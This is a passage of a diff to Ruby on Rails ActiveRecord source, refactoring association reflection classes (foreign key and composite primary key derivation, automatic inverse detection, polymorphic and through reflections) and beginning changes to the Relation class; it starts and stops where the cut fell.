-    class AssociationReflection < MacroReflection #:nodoc:
-      # Returns the target association's class.
-      #
-      #   class Author < ActiveRecord::Base
-      #     has_many :books
-      #   end
-      #
-      #   Author.reflect_on_association(:books).klass
-      #   # => Book
-      #
-      # <b>Note:</b> Do not call +klass.new+ or +klass.create+ to instantiate
-      # a new association object. Use +build_association+ or +create_association+
-      # instead. This allows plugins to hook into association object creation.
-      def klass
-        @klass ||= compute_class(class_name)
-      end
-
+    class AssociationReflection < MacroReflection # :nodoc:
       def compute_class(name)
-        active_record.send(:compute_type, name)
+        if polymorphic?
+          raise ArgumentError, "Polymorphic associations do not support computing the class."
+        end
+
+        begin
+          klass = active_record.send(:compute_type, name)
+        rescue NameError => error
+          if error.name.match?(/(?:\A|::)#{name}\z/)
+            message = "Missing model class #{name} for the #{active_record}##{self.name} association."
+            message += " You can specify a different model class with the :class_name option." unless options[:class_name]
+            raise NameError.new(message, name)
+          else
+            raise
+          end
+        end
+
+        unless klass < ActiveRecord::Base
+          raise ArgumentError, "The #{name} model class for the #{active_record}##{self.name} association is not an ActiveRecord::Base subclass."
+        end
+
+        klass
       end
 
       attr_reader :type, :foreign_type
@@ -370,83 +520,139 @@ def compute_class(name)
 
       def initialize(name, scope, options, active_record)
         super
-        @automatic_inverse_of = nil
-        @type         = options[:as] && (options[:foreign_type] || "#{options[:as]}_type")
-        @foreign_type = options[:foreign_type] || "#{name}_type"
-        @constructable = calculate_constructable(macro, options)
-        @association_scope_cache = {}
-        @scope_lock = Mutex.new
-
-        if options[:class_name] && options[:class_name].class == Class
-          ActiveSupport::Deprecation.warn(<<-MSG.squish)
-            Passing a class to the `class_name` is deprecated and will raise
-            an ArgumentError in Rails 5.2. It eagerloads more classes than
-            necessary and potentially creates circular dependencies.
-
-            Please pass the class name as a string:
-            `#{macro} :#{name}, class_name: '#{options[:class_name]}'`
+
+        @validated = false
+        @type = -(options[:foreign_type]&.to_s || "#{options[:as]}_type") if options[:as]
+        @foreign_type = -(options[:foreign_type]&.to_s || "#{name}_type") if options[:polymorphic]
+        @join_table = nil
+        @foreign_key = nil
+        @association_foreign_key = nil
+        @association_primary_key = nil
+        if options[:query_constraints]
+          raise ConfigurationError, <<~MSG.squish
+            Setting `query_constraints:` option on `#{active_record}.#{macro} :#{name}` is not allowed.
+            To get the same behavior, use the `foreign_key` option instead.
           MSG
         end
+
+        # If the foreign key is an array, set query constraints options and don't use the foreign key
+        if options[:foreign_key].is_a?(Array)
+          options[:query_constraints] = options.delete(:foreign_key)
+        end
+
+        @deprecated = !!options[:deprecated]
+
+        ensure_option_not_given_as_class!(:class_name)
       end
 
-      def association_scope_cache(conn, owner)
-        key = conn.prepared_statements
+      def association_scope_cache(klass, owner, &block)
+        key = self
         if polymorphic?
           key = [key, owner._read_attribute(@foreign_type)]
         end
-        @association_scope_cache[key] ||= @scope_lock.synchronize {
-          @association_scope_cache[key] ||= yield
-        }
-      end
-
-      def constructable? # :nodoc:
-        @constructable
+        klass.with_connection do |connection|
+          klass.cached_find_by_statement(connection, key, &block)
+        end
       end
 
       def join_table
-        @join_table ||= options[:join_table] || derive_join_table
+        @join_table ||= -(options[:join_table]&.to_s || derive_join_table)
       end
 
-      def foreign_key
-        @foreign_key ||= options[:foreign_key] || derive_foreign_key.freeze
+      def foreign_key(infer_from_inverse_of: true)
+        @foreign_key ||= if options[:foreign_key]
+          if options[:foreign_key].is_a?(Array)
+            options[:foreign_key].map { |fk| -fk.to_s.freeze }.freeze
+          else
+            options[:foreign_key].to_s.freeze
+          end
+        elsif options[:query_constraints]
+          options[:query_constraints].map { |fk| -fk.to_s.freeze }.freeze
+        else
+          derived_fk = derive_foreign_key(infer_from_inverse_of: infer_from_inverse_of)
+
+          if active_record.has_query_constraints?
+            derived_fk = derive_fk_query_constraints(derived_fk)
+          end
+
+          if derived_fk.is_a?(Array)
+            derived_fk.map! { |fk| -fk.freeze }
+            derived_fk.freeze
+          else
+            -derived_fk.freeze
+          end
+        end
       end
 
       def association_foreign_key
-        @association_foreign_key ||= options[:association_foreign_key] || class_name.foreign_key
+        @association_foreign_key ||= -(options[:association_foreign_key]&.to_s || class_name.foreign_key)
       end
 
-      # klass option is necessary to support loading polymorphic associations
       def association_primary_key(klass = nil)
-        options[:primary_key] || primary_key(klass || self.klass)
+        primary_key(klass || self.klass)
+      end
+
+      def active_record_primary_key
+        custom_primary_key = options[:primary_key]
+        @active_record_primary_key ||= if custom_primary_key
+          if custom_primary_key.is_a?(Array)
+            custom_primary_key.map { |pk| pk.to_s.freeze }.freeze
+          else
+            custom_primary_key.to_s.freeze
+          end
+        elsif active_record.has_query_constraints? || options[:query_constraints]
+          active_record.query_constraints_list
+        elsif active_record.composite_primary_key?
+          # If active_record has composite primary key of shape [:<tenant_key>, :id], infer primary_key as :id
+          primary_key = primary_key(active_record)
+          primary_key.include?("id") ? "id" : primary_key.freeze
+        else
+          primary_key(active_record).freeze
+        end
       end
 
-      def association_primary_key_type
-        klass.type_for_attribute(association_primary_key.to_s)
+      def join_primary_key(klass = nil)
+        foreign_key
       end
 
-      def active_record_primary_key
-        @active_record_primary_key ||= options[:primary_key] || primary_key(active_record)
+      def join_primary_type
+        type
+      end
+
+      def join_foreign_key
+        active_record_primary_key
       end
 
       def check_validity!
+        return if @validated
+
         check_validity_of_inverse!
+
+        if !polymorphic? && (klass.composite_primary_key? || active_record.composite_primary_key?)
+          if (has_one? || collection?) && Array(active_record_primary_key).length != Array(foreign_key).length
+            raise CompositePrimaryKeyMismatchError.new(self)
+          elsif belongs_to? && Array(association_primary_key).length != Array(foreign_key).length
+            raise CompositePrimaryKeyMismatchError.new(self)
+          end
+        end
+
+        @validated = true
       end
 
-      def check_preloadable!
+      def check_eager_loadable!
         return unless scope
 
-        if scope.arity > 0
+        unless scope.arity == 0
           raise ArgumentError, <<-MSG.squish
             The association scope '#{name}' is instance dependent (the scope
-            block takes an argument). Preloading instance dependent scopes is
-            not supported.
+            block takes an argument). Eager loading instance dependent scopes
+            is not supported.
           MSG
         end
       end
-      alias :check_eager_loadable! :check_preloadable!
 
       def join_id_for(owner) # :nodoc:
-        owner[active_record_primary_key]
+        Array(join_foreign_key).map { |key| owner._read_attribute(key) }
       end
 
       def through_reflection
@@ -466,7 +672,7 @@ def collect_join_chain
       # This is for clearing cache on the reflection. Useful for tests that need to compare
       # SQL queries on associations.
       def clear_association_scope_cache # :nodoc:
-        @association_scope_cache.clear
+        klass.initialize_find_by_cache
       end
 
       def nested?
@@ -528,8 +734,9 @@ def polymorphic?
         options[:polymorphic]
       end
 
-      VALID_AUTOMATIC_INVERSE_MACROS = [:has_many, :has_one, :belongs_to]
-      INVALID_AUTOMATIC_INVERSE_OPTIONS = [:conditions, :through, :polymorphic, :foreign_key]
+      def polymorphic_name
+        active_record.polymorphic_name
+      end
 
       def add_as_source(seed)
         seed
@@ -543,76 +750,88 @@ def add_as_through(seed)
         seed + [self]
       end
 
-      protected
+      def extensions
+        Array(options[:extend])
+      end
 
-        def actual_source_reflection # FIXME: this is a horrible name
-          self
-        end
+      def deprecated?
+        @deprecated
+      end
 
       private
-
-        def calculate_constructable(macro, options)
-          true
-        end
-
         # Attempts to find the inverse association name automatically.
         # If it cannot find a suitable inverse association name, it returns
         # +nil+.
         def inverse_name
-          options.fetch(:inverse_of) do
-            @automatic_inverse_of ||= automatic_inverse_of
+          unless defined?(@inverse_name)
+            @inverse_name = options.fetch(:inverse_of) { automatic_inverse_of }
           end
+
+          @inverse_name
         end
 
-        # returns either false or the inverse association name that it finds.
+        # returns either +nil+ or the inverse association name that it finds.
         def automatic_inverse_of
           if can_find_inverse_of_automatically?(self)
             inverse_name = ActiveSupport::Inflector.underscore(options[:as] || active_record.name.demodulize).to_sym
 
             begin
               reflection = klass._reflect_on_association(inverse_name)
-            rescue NameError
+              if !reflection && active_record.automatically_invert_plural_associations
+                plural_inverse_name = ActiveSupport::Inflector.pluralize(inverse_name)
+                reflection = klass._reflect_on_association(plural_inverse_name)
+              end
+            rescue NameError => error
+              raise unless error.name.to_s == class_name
+
               # Give up: we couldn't compute the klass type so we won't be able
               # to find any associations either.
               reflection = false
             end
 
             if valid_inverse_reflection?(reflection)
-              return inverse_name
+              reflection.name
             end
           end
-
-          false
         end
 
         # Checks if the inverse reflection that is returned from the
         # +automatic_inverse_of+ method is a valid reflection. We must
         # make sure that the reflection's active_record name matches up
         # with the current reflection's klass name.
-        #
-        # Note: klass will always be valid because when there's a NameError
-        # from calling +klass+, +reflection+ will already be set to false.
         def valid_inverse_reflection?(reflection)
           reflection &&
-            klass.name == reflection.active_record.name &&
-            can_find_inverse_of_automatically?(reflection)
+            reflection != self &&
+            foreign_key == reflection.foreign_key &&
+            klass <= reflection.active_record &&
+            can_find_inverse_of_automatically?(reflection, true)
         end
 
         # Checks to see if the reflection doesn't have any options that prevent
         # us from being able to guess the inverse automatically. First, the
         # <tt>inverse_of</tt> option cannot be set to false. Second, we must
         # have <tt>has_many</tt>, <tt>has_one</tt>, <tt>belongs_to</tt> associations.
-        # Third, we must not have options such as <tt>:polymorphic</tt> or
-        # <tt>:foreign_key</tt> which prevent us from correctly guessing the
-        # inverse association.
-        #
-        # Anything with a scope can additionally ruin our attempt at finding an
-        # inverse, so we exclude reflections with scopes.
-        def can_find_inverse_of_automatically?(reflection)
+        # Third, we must not have options such as <tt>:foreign_key</tt>
+        # which prevent us from correctly guessing the inverse association.
+        def can_find_inverse_of_automatically?(reflection, inverse_reflection = false)
           reflection.options[:inverse_of] != false &&
-            VALID_AUTOMATIC_INVERSE_MACROS.include?(reflection.macro) &&
-            !INVALID_AUTOMATIC_INVERSE_OPTIONS.any? { |opt| reflection.options[opt] } &&
+            !reflection.options[:through] &&
+            !reflection.options[:foreign_key] &&
+            scope_allows_automatic_inverse_of?(reflection, inverse_reflection)
+        end
+
+        # Scopes on the potential inverse reflection prevent automatic
+        # <tt>inverse_of</tt>, since the scope could exclude the owner record
+        # we would inverse from. Scopes on the reflection itself allow for
+        # automatic <tt>inverse_of</tt> as long as
+        # <tt>config.active_record.automatic_scope_inversing<tt> is set to
+        # +true+ (the default for new applications).
+        def scope_allows_automatic_inverse_of?(reflection, inverse_reflection)
+          if inverse_reflection
             !reflection.scope
+          else
+            !reflection.scope || reflection.klass.automatic_scope_inversing
+          end
         end
 
         def derive_class_name
@@ -621,22 +840,60 @@ def derive_class_name
           class_name.camelize
         end
 
-        def derive_foreign_key
+        def derive_foreign_key(infer_from_inverse_of: true)
           if belongs_to?
             "#{name}_id"
           elsif options[:as]
             "#{options[:as]}_id"
+          elsif options[:inverse_of] && infer_from_inverse_of
+            inverse_of.foreign_key(infer_from_inverse_of: false)
           else
-            active_record.name.foreign_key
+            active_record.model_name.to_s.foreign_key
           end
         end
 
-        def derive_join_table
-          ModelSchema.derive_join_table_name active_record.table_name, klass.table_name
+        def derive_fk_query_constraints(foreign_key)
+          primary_query_constraints = active_record.query_constraints_list
+          owner_pk = active_record.primary_key
+
+          if primary_query_constraints.size > 2
+            raise ArgumentError, <<~MSG.squish
+              The query constraints list on the `#{active_record}` model has more than 2
+              attributes. Active Record is unable to derive the query constraints
+              for the association. You need to explicitly define the query constraints
+              for this association.
+            MSG
+          end
+
+          if !primary_query_constraints.include?(owner_pk)
+            raise ArgumentError, <<~MSG.squish
+              The query constraints on the `#{active_record}` model does not include the primary
+              key so Active Record is unable to derive the foreign key constraints for
+              the association. You need to explicitly define the query constraints for this
+              association.
+            MSG
+          end
+
+          return foreign_key if primary_query_constraints.include?(foreign_key)
+
+          first_key, last_key = primary_query_constraints
+
+          if first_key == owner_pk
+            [foreign_key, last_key.to_s]
+          elsif last_key == owner_pk
+            [first_key.to_s, foreign_key]
+          else
+            raise ArgumentError, <<~MSG.squish
+              Active Record couldn't correctly interpret the query constraints
+              for the `#{active_record}` model. The query constraints on `#{active_record}` are
+              `#{primary_query_constraints}` and the foreign key is `#{foreign_key}`.
+              You need to explicitly set the query constraints for this association.
+            MSG
+          end
         end
 
-        def primary_key(klass)
-          klass.primary_key || raise(UnknownPrimaryKey.new(klass))
+        def derive_join_table
+          ModelSchema.derive_join_table_name active_record.table_name, klass.table_name
         end
     end
 
@@ -666,12 +923,6 @@ def association_class
           Associations::HasOneAssociation
         end
       end
-
-      private
-
-        def calculate_constructable(macro, options)
-          !options[:through]
-        end
     end
 
     class BelongsToReflection < AssociationReflection # :nodoc:
@@ -687,27 +938,44 @@ def association_class
         end
       end
 
-      def join_keys(association_klass)
-        key = polymorphic? ? association_primary_key(association_klass) : association_primary_key
-        JoinKeys.new(key, foreign_key)
+      # klass option is necessary to support loading polymorphic associations
+      def association_primary_key(klass = nil)
+        if primary_key = options[:primary_key]
+          @association_primary_key ||= if primary_key.is_a?(Array)
+            primary_key.map { |pk| pk.to_s.freeze }.freeze
+          else
+            -primary_key.to_s
+          end
+        elsif (klass || self.klass).has_query_constraints? || options[:query_constraints]
+          (klass || self.klass).composite_query_constraints_list
+        elsif (klass || self.klass).composite_primary_key?
+          # If klass has composite primary key of shape [:<tenant_key>, :id], infer primary_key as :id
+          primary_key = (klass || self.klass).primary_key
+          primary_key.include?("id") ? "id" : primary_key
+        else
+          primary_key(klass || self.klass)
+        end
+      end
+
+      def join_primary_key(klass = nil)
+        polymorphic? ? association_primary_key(klass) : association_primary_key
       end
 
-      def join_id_for(owner) # :nodoc:
-        owner[foreign_key]
+      def join_foreign_key
+        foreign_key
       end
 
-      private
+      def join_foreign_type
+        foreign_type
+      end
 
-        def calculate_constructable(macro, options)
-          !polymorphic?
+      private
+        def can_find_inverse_of_automatically?(*)
+          !polymorphic? && super
         end
     end
 
     class HasAndBelongsToManyReflection < AssociationReflection # :nodoc:
-      def initialize(name, scope, options, active_record)
-        super
-      end
-
       def macro; :has_and_belongs_to_many; end
 
       def collection?
@@ -717,15 +985,19 @@ def collection?
 
     # Holds all the metadata about a :through association as it was specified
     # in the Active Record class.
-    class ThroughReflection < AbstractReflection #:nodoc:
-      attr_reader :delegate_reflection
-      delegate :foreign_key, :foreign_type, :association_foreign_key,
-               :active_record_primary_key, :type, to: :source_reflection
+    class ThroughReflection < AbstractReflection # :nodoc:
+      delegate :foreign_key, :foreign_type, :association_foreign_key, :join_id_for, :type,
+               :active_record_primary_key, :join_foreign_key, to: :source_reflection
 
       def initialize(delegate_reflection)
+        super()
+
+        @validated = false
         @delegate_reflection = delegate_reflection
         @klass = delegate_reflection.options[:anonymous_class]
         @source_reflection_name = delegate_reflection.options[:source]
+
+        ensure_option_not_given_as_class!(:source_type)
       end
 
       def through_reflection?
@@ -733,7 +1005,7 @@ def through_reflection?
       end
 
       def klass
-        @klass ||= delegate_reflection.compute_class(class_name)
+        @klass ||= delegate_reflection._klass(class_name)
       end
 
       # Returns the source of the through reflection. It checks both a singularized
@@ -754,6 +1026,8 @@ def klass
       #   # => <ActiveRecord::Reflection::BelongsToReflection: @name=:tag, @active_record=Tagging, @plural_name="tags">
       #
       def source_reflection
+        return unless source_reflection_name
+
         through_reflection.klass._reflect_on_association(source_reflection_name)
       end
 
@@ -806,8 +1080,8 @@ def scopes
         source_reflection.scopes + super
       end
 
-      def source_type_scope
-        through_reflection.klass.where(foreign_type => options[:source_type])
+      def join_scopes(table, predicate_builder = nil, klass = self.klass, record = nil) # :nodoc:
+        source_reflection.join_scopes(table, predicate_builder, klass, record) + super
       end
 
       def has_scope?
@@ -816,10 +1090,6 @@ def has_scope?
           through_reflection.has_scope?
       end
 
-      def join_keys(association_klass)
-        source_reflection.join_keys(association_klass)
-      end
-
       # A through association is nested if there would be more than one join table
       def nested?
         source_reflection.through_reflection? || through_reflection.through_reflection?
@@ -831,11 +1101,15 @@ def nested?
       def association_primary_key(klass = nil)
         # Get the "actual" source reflection if the immediate source reflection has a
         # source reflection itself
-        actual_source_reflection.options[:primary_key] || primary_key(klass || self.klass)
+        if primary_key = actual_source_reflection.options[:primary_key]
+          @association_primary_key ||= -primary_key.to_s
+        else
+          primary_key(klass || self.klass)
+        end
       end
 
-      def association_primary_key_type
-        klass.type_for_attribute(association_primary_key.to_s)
+      def join_primary_key(klass = self.klass)
+        source_reflection.join_primary_key(klass)
       end
 
       # Gets an array of possible <tt>:through</tt> source reflection names in both singular and plural form.
@@ -854,24 +1128,23 @@ def source_reflection_names
       end
 
       def source_reflection_name # :nodoc:
-        return @source_reflection_name if @source_reflection_name
-
-        names = [name.to_s.singularize, name].collect(&:to_sym).uniq
-        names = names.find_all { |n|
-          through_reflection.klass._reflect_on_association(n)
-        }
-
-        if names.length > 1
-          raise AmbiguousSourceReflectionForThroughAssociation.new(
-            active_record.name,
-            macro,
-            name,
-            options,
-            source_reflection_names
-          )
+        @source_reflection_name ||= begin
+          names = [name.to_s.singularize, name].collect(&:to_sym).uniq
+          names = names.find_all { |n|
+            through_reflection.klass._reflect_on_association(n)
+          }
+
+          if names.length > 1
+            raise AmbiguousSourceReflectionForThroughAssociation.new(
+              active_record.name,
+              macro,
+              name,
+              options,
+              source_reflection_names
+            )
+          end
+          names.first
         end
-
-        @source_reflection_name = names.first
       end
 
       def source_options
@@ -882,13 +1155,11 @@ def through_options
         through_reflection.options
       end
 
-      def join_id_for(owner) # :nodoc:
-        source_reflection.join_id_for(owner)
-      end
-
       def check_validity!
+        return if @validated
+
         if through_reflection.nil?
-          raise HasManyThroughAssociationNotFoundError.new(active_record.name, self)
+          raise HasManyThroughAssociationNotFoundError.new(active_record, self)
         end
 
         if through_reflection.polymorphic?
@@ -916,7 +1187,7 @@ def check_validity!
         end
 
         if parent_reflection.nil?
-          reflections = active_record.reflections.keys.map(&:to_sym)
+          reflections = active_record.normalized_reflections.keys
 
           if reflections.index(through_reflection.name) > reflections.index(name)
             raise HasManyThroughOrderError.new(active_record.name, self, through_reflection)
@@ -924,6 +1195,8 @@ def check_validity!
         end
 
         check_validity_of_inverse!
+
+        @validated = true
       end
 
       def constraints
@@ -944,22 +1217,25 @@ def add_as_through(seed)
         collect_join_reflections(seed + [self])
       end
 
-      def collect_join_reflections(seed)
-        a = source_reflection.add_as_source seed
-        if options[:source_type]
-          through_reflection.add_as_polymorphic_through self, a
-        else
-          through_reflection.add_as_through a
-        end
+      def deprecated_nested_reflections
+        @deprecated_nested_reflections ||= collect_deprecated_nested_reflections
       end
 
-      private
+      protected
         def actual_source_reflection # FIXME: this is a horrible name
-          source_reflection.send(:actual_source_reflection)
+          source_reflection.actual_source_reflection
         end
 
-        def primary_key(klass)
-          klass.primary_key || raise(UnknownPrimaryKey.new(klass))
+      private
+        attr_reader :delegate_reflection
+
+        def collect_join_reflections(seed)
+          a = source_reflection.add_as_source seed
+          if options[:source_type]
+            through_reflection.add_as_polymorphic_through self, a
+          else
+            through_reflection.add_as_through a
+          end
         end
 
         def inverse_name; delegate_reflection.send(:inverse_name); end
@@ -969,6 +1245,19 @@ def derive_class_name
           options[:source_type] || source_reflection.class_name
         end
 
+        def collect_deprecated_nested_reflections
+          result = []
+          [through_reflection, source_reflection].each do |reflection|
+            result << reflection if reflection.deprecated?
+            # Both the through and the source reflections could be through
+            # themselves. Nesting can go an arbitrary number of levels down.
+            if reflection.through_reflection?
+              result.concat(reflection.deprecated_nested_reflections)
+            end
+          end
+          result
+        end
+
         delegate_methods = AssociationReflection.public_instance_methods -
           public_instance_methods
 
@@ -976,59 +1265,40 @@ def derive_class_name
     end
 
     class PolymorphicReflection < AbstractReflection # :nodoc:
+      delegate :klass, :scope, :plural_name, :type, :join_primary_key, :join_foreign_key,
+               :name, :scope_for, to: :@reflection
+
       def initialize(reflection, previous_reflection)
+        super()
         @reflection = reflection
         @previous_reflection = previous_reflection
       end
 
-      def scopes
-        scopes = @previous_reflection.scopes
-        if @previous_reflection.options[:source_type]
-          scopes + [@previous_reflection.source_type_scope]
-        else
-          scopes
+      def join_scopes(table, predicate_builder = nil, klass = self.klass, record = nil) # :nodoc:
+        scopes = super
+        unless @previous_reflection.through_reflection?
+          scopes += @previous_reflection.join_scopes(table, predicate_builder, klass, record)
         end
-      end
-
-      def klass
-        @reflection.klass
-      end
-
-      def scope
-        @reflection.scope
-      end
-
-      def table_name
-        @reflection.table_name
-      end
-
-      def plural_name
-        @reflection.plural_name
-      end
-
-      def join_keys(association_klass)
-        @reflection.join_keys(association_klass)
-      end
-
-      def type
-        @reflection.type
+        scopes << build_scope(table, predicate_builder, klass).instance_exec(record, &source_type_scope)
       end
 
       def constraints
-        @reflection.constraints + [source_type_info]
+        @reflection.constraints + [source_type_scope]
       end
 
-      def source_type_info
-        type = @previous_reflection.foreign_type
-        source_type = @previous_reflection.options[:source_type]
-        lambda { |object| where(type => source_type) }
-      end
+      private
+        def source_type_scope
+          type = @previous_reflection.foreign_type
+          source_type = @previous_reflection.options[:source_type]
+          lambda { |object| where(type => source_type) }
+        end
     end
 
-    class RuntimeReflection < PolymorphicReflection # :nodoc:
-      attr_accessor :next
+    class RuntimeReflection < AbstractReflection # :nodoc:
+      delegate :scope, :type, :constraints, :join_foreign_key, to: :@reflection
 
       def initialize(reflection, association)
+        super()
         @reflection = reflection
         @association = association
       end
@@ -1037,24 +1307,12 @@ def klass
         @association.klass
       end
 
-      def table_name
-        klass.table_name
-      end
-
-      def constraints
-        @reflection.constraints
-      end
-
-      def source_type_info
-        @reflection.source_type_info
-      end
-
-      def alias_candidate(name)
-        "#{plural_name}_#{name}_join"
+      def aliased_table
+        klass.arel_table
       end
 
-      def alias_name
-        Arel::Table.new(table_name)
+      def join_primary_key(klass = self.klass)
+        @reflection.join_primary_key(klass)
       end
 
       def all_includes; yield; end
diff --git a/activerecord/lib/active_record/relation.rb b/activerecord/lib/active_record/relation.rb
index 61ee09bcc8109..2934a425318a4 100644
--- a/activerecord/lib/active_record/relation.rb
+++ b/activerecord/lib/active_record/relation.rb
@@ -1,108 +1,113 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   # = Active Record \Relation
   class Relation
-    MULTI_VALUE_METHODS  = [:includes, :eager_load, :preload, :select, :group,
-                            :order, :joins, :left_joins, :left_outer_joins, :references,
-                            :extending, :unscope]
-
-    SINGLE_VALUE_METHODS = [:limit, :offset, :lock, :readonly, :reordering,
-                            :reverse_order, :distinct, :create_with]
-    CLAUSE_METHODS = [:where, :having, :from]
-    INVALID_METHODS_FOR_DELETE_ALL = [:limit, :distinct, :offset, :group, :having]
-
-    VALUE_METHODS = MULTI_VALUE_METHODS + SINGLE_VALUE_METHODS + CLAUSE_METHODS
-
-    include Enumerable
-    include FinderMethods, Calculations, SpawnMethods, QueryMethods, Batches, Explain, Delegation
+    class ExplainProxy  # :nodoc:
+      def initialize(relation, options)
+        @relation = relation
+        @options  = options
+      end
 
-    attr_reader :table, :klass, :loaded, :predicate_builder
-    alias :model :klass
-    alias :loaded? :loaded
+      def inspect
+        exec_explain { @relation.send(:exec_queries) }
+      end
 
-    def initialize(klass, table, predicate_builder, values = {})
-      @klass  = klass
-      @table  = table
-      @values = values
-      @offsets = {}
-      @loaded = false
-      @predicate_builder = predicate_builder
-    end
+      def average(column_name)
+        exec_explain { @relation.average(column_name) }
+      end
 
-    def initialize_copy(other)
-      @values = @values.dup
-      reset
-    end
+      def count(column_name = nil)
+        exec_explain { @relation.count(column_name) }
+      end
 
-    def insert(values) # :nodoc:
-      primary_key_value = nil
+      def first(limit = nil)
+        exec_explain { @relation.first(limit) }
+      end
 
-      if primary_key && Hash === values
-        primary_key_value = values[values.keys.find { |k|
-          k.name == primary_key
-        }]
+      def last(limit = nil)
+        exec_explain { @relation.last(limit) }
+      end
 
-        if !primary_key_value && klass.prefetch_primary_key?
-          primary_key_value = klass.next_sequence_value
-          values[arel_attribute(klass.primary_key)] = primary_key_value
-        end
+      def maximum(column_name)
+        exec_explain { @relation.maximum(column_name) }
       end
 
-      im = arel.create_insert
-      im.into @table
+      def minimum(column_name)
+        exec_explain { @relation.minimum(column_name) }
+      end
 
-      substitutes, binds = substitute_values values
+      def pluck(*column_names)
+        exec_explain { @relation.pluck(*column_names) }
+      end
 
-      if values.empty? # empty insert
-        im.values = Arel.sql(connection.empty_insert_statement_value)
-      else
-        im.insert substitutes
+      def sum(identity_or_column = nil)
+        exec_explain { @relation.sum(identity_or_column) }
       end
 
-      @klass.connection.insert(
-        im,
-        "SQL",
-        primary_key || false,
-        primary_key_value,
-        nil,
-        binds)
+      private
+        def exec_explain(&block)
+          @relation.exec_explain(@relation.collecting_queries_for_explain { block.call }, @options)
+        end
     end
 
-    def _update_record(values, id, id_was) # :nodoc:
-      substitutes, binds = substitute_values values
+    MULTI_VALUE_METHODS  = [:includes, :eager_load, :preload, :select, :group,
+                            :order, :joins, :left_outer_joins, :references,
+                            :extending, :unscope, :optimizer_hints, :annotate,
+                            :with]
 
-      scope = @klass.unscoped
+    SINGLE_VALUE_METHODS = [:limit, :offset, :lock, :readonly, :reordering, :strict_loading,
+                            :reverse_order, :distinct, :create_with, :skip_query_cache]
 
-      if @klass.finder_needs_type_condition?
-        scope.unscope!(where: @klass.inheritance_column)
-      end
+    CLAUSE_METHODS = [:where, :having, :from]
+    INVALID_METHODS_FOR_UPDATE_AND_DELETE_ALL = [:distinct, :with, :with_recursive]
 
-      relation = scope.where(@klass.primary_key => (id_was || id))
-      bvs = binds + relation.bound_attributes
-      um = relation
-        .arel
-        .compile_update(substitutes, @klass.primary_key)
+    VALUE_METHODS = MULTI_VALUE_METHODS + SINGLE_VALUE_METHODS + CLAUSE_METHODS
 
-      @klass.connection.update(
-        um,
-        "SQL",
-        bvs,
-      )
-    end
+    include Enumerable
+    include FinderMethods, Calculations, SpawnMethods, QueryMethods, Batches, Explain, Delegation
+    include SignedId::RelationMethods, TokenFor::RelationMethods
 
-    def substitute_values(values) # :nodoc:
-      binds = []
-      substitutes = []
+    attr_reader :table, :model, :loaded, :predicate_builder
+    attr_accessor :skip_preloading_value
+    alias :klass :model
+    alias :loaded? :loaded
+    alias :locked? :lock_value
 
-      values.each do |arel_attr, value|
-        binds.push QueryAttribute.new(arel_attr.name, value, klass.type_for_attribute(arel_attr.name))
-        substitutes.push [arel_attr, Arel::Nodes::BindParam.new]
+    def initialize(model, table: nil, predicate_builder: nil, values: {})
+      if table
+        predicate_builder ||= model.predicate_builder.with(TableMetadata.new(model, table))
+      else
+        table = model.arel_table
+        predicate_builder ||= model.predicate_builder
       end
 
-      [substitutes, binds]
+      @model  = model
+      @table  = table
+      @values = values
+      @loaded = false
+      @predicate_builder = predicate_builder
+      @delegate_to_model = false
+      @future_result = nil
+      @records = nil
+      @async = false
+      @none = false
     end
 
-    def arel_attribute(name) # :nodoc:
-      klass.arel_attribute(name, table)
+    def initialize_copy(other)
+      @values = @values.dup
+      reset
+    end
+
+    def bind_attribute(name, value) # :nodoc:
+      if reflection = model._reflect_on_association(name)
+        name = reflection.foreign_key
+        value = value.read_attribute(reflection.association_primary_key) unless value.nil?
+      end
+
+      attr = table[name]
+      bind = predicate_builder.build_bind_attribute(attr.name, value)
+      yield attr, bind
     end
 
     # Initializes new record from relation while maintaining the current
@@ -117,10 +122,14 @@ def arel_attribute(name) # :nodoc:
     #
     #   user = users.new { |user| user.name = 'Oscar' }
     #   user.name # => Oscar
-    def new(*args, &block)
-      scoping { @klass.new(*args, &block) }
+    def new(attributes = nil, &block)
+      if attributes.is_a?(Array)
+        attributes.collect { |attr| new(attr, &block) }
+      else
+        block = current_scope_restoring_block(&block)
+        scoping { _new(attributes, &block) }
+      end
     end
-
     alias build new
 
     # Tries to create a new record with the same scoped attributes
@@ -142,8 +151,13 @@ def new(*args, &block)
     #
     #   users.create(name: nil) # validation on name
     #   # => #<User id: nil, name: nil, ...>
-    def create(*args, &block)
-      scoping { @klass.create(*args, &block) }
+    def create(attributes = nil, &block)
+      if attributes.is_a?(Array)
+        attributes.collect { |attr| create(attr, &block) }
+      else
+        block = current_scope_restoring_block(&block)
+        scoping { _create(attributes, &block) }
+      end
     end
 
     # Similar to #create, but calls
@@ -152,8 +166,13 @@ def create(*args, &block)
     #
     # Expects arguments in the same format as
     # {ActiveRecord::Base.create!}[rdoc-ref:Persistence::ClassMethods#create!].
-    def create!(*args, &block)
-      scoping { @klass.create!(*args, &block) }
+    def create!(attributes = nil, &block)
+      if attributes.is_a?(Array)
+        attributes.collect { |attr| create!(attr, &block) }
+      else
+        block = current_scope_restoring_block(&block)
+        scoping { _create!(attributes, &block) }
+      end
     end
 
     def first_or_create(attributes = nil, &block) # :nodoc:
@@ -189,7 +208,7 @@ def first_or_initialize(attributes = nil, &block) # :nodoc:
     # above can be alternatively written this way:
     #
     #   # Find the first user named "Scarlett" or create a new one with a
-    #   # different last name.
+    #   # particular last name.
     #   User.find_or_create_by(first_name: 'Scarlett') do |user|
     #     user.last_name = 'Johansson'
     #   end
@@ -199,35 +218,96 @@ def first_or_initialize(attributes = nil, &block) # :nodoc:
     # failed due to validation errors it won't be persisted, you get what
     # #create returns in such situation.
     #
-    # Please note *this method is not atomic*, it runs first a SELECT, and if
-    # there are no results an INSERT is attempted. If there are other threads
-    # or processes there is a race condition between both calls and it could
-    # be the case that you end up with two similar records.
-    #
-    # Whether that is a problem or not depends on the logic of the
-    # application, but in the particular case in which rows have a UNIQUE
-    # constraint an exception may be raised, just retry:
-    #
-    #  begin
-    #    CreditAccount.transaction(requires_new: true) do
-    #      CreditAccount.find_or_create_by(user_id: user.id)
-    #    end
-    #  rescue ActiveRecord::RecordNotUnique
-    #    retry
-    #  end
+    # If creation failed because of a unique constraint, this method will
+    # assume it encountered a race condition and will try finding the record
+    # once more. If somehow the second find still does not find a record
+    # because a concurrent DELETE happened, it will then raise an
+    # ActiveRecord::RecordNotFound exception.
     #
+    # Please note <b>this method is not atomic</b>, it runs first a SELECT,
+    # and if there are no results an INSERT is attempted. So if the table
